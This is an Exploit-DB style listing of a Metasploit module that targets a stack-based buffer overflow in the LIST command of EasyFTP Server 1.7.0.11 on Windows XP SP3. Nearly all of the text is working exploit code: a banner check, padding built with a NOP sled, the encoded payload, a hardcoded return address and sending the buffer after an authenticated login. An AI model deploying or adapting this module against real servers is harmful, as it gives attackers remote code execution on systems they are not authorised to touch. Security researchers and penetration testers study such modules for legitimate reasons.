EasyFTP Server 1.7.0.11 – ‘LIST’ (Authenticated) Remote Buffer Overflow (Metasploit)
## # EDB-ID: 14400 # Date : July 5, 2010 # Discovered by : Karn Ganeshen # Version : 1.7.0.11 # Tested on : Windows XP SP3 Version 2002 # MFR & VAS TEAM : just testing howto convert exploits to metasploit modules. ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11. credit goes to Karn Ganeshan. }, 'Author' => [ 'Karn Ganeshan <karnganeshan [at] gmail.com>', # original version 'MFR' # convert to metasploit format. ], 'License' => MSF_LICENSE, 'Version' => 'Version: 1', 'References' => [ [ 'EDB', '14400' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Privileged' => false, 'Payload' => { 'Space' => 268, 'BadChars' => "\x00\x0a\x0d\x2f\x5c", 'DisableNops' => false }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 - Version 2002', { 'Ret' => 0x7e49732b } ], ], 'DisclosureDate' => 'July 5 2010', 'DefaultTarget' => 0)) end def check connect disconnect if (banner =~ /BigFoolCat/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect_login buf = '' buf << make_nops(268 - payload.encoded.length - 4) print_status("Adding the payload...") buf << payload.encoded buf << [target.ret].pack('V') print_status("Sending exploit buffer...") send_cmd( ['LIST', buf] , false) handler disconnect end end |